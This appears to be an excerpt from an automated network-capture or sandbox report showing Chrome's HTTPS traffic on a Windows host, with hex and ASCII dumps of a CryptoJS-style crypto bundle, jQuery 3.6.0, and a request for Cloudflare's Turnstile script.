2024-12-05 21:16:27 UTC	1369	IN	Data Raw: 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b Data Ascii: eof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;
2024-12-05 21:16:27 UTC	1369	IN	Data Raw: 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 Data Ascii: ar t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0
2024-12-05 21:16:27 UTC	1369	IN	Data Raw: 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d Data Ascii: or(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]
2024-12-05 21:16:27 UTC	1369	IN	Data Raw: 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 Data Ascii: ,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:fu
2024-12-05 21:16:27 UTC	1369	IN	Data Raw: 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 Data Ascii: arAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQ
2024-12-05 21:16:27 UTC	1369	IN	Data Raw: 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 Data Ascii: .sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this
2024-12-05 21:16:27 UTC	1369	IN	Data Raw: 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b Data Ascii: ,m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49763	151.101.194.137	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:26 UTC	358	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:16:27 UTC	615	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Thu, 05 Dec 2024 21:16:27 GMT Age: 3415462 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740031-EWR X-Cache: HIT, HIT X-Cache-Hits: 5889, 153 X-Timer: S1733433387.194375,VS0,VE0 Vary: Accept-Encoding
2024-12-05 21:16:27 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-12-05 21:16:27 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2024-12-05 21:16:27 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2024-12-05 21:16:27 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2024-12-05 21:16:27 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2024-12-05 21:16:27 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2024-12-05 21:16:27 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2024-12-05 21:16:27 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2024-12-05 21:16:27 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2024-12-05 21:16:27 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49764	104.18.94.41	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:16:28 UTC	383	OUT	GET /turnstile/v0/b/a6e12e96a2d5/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
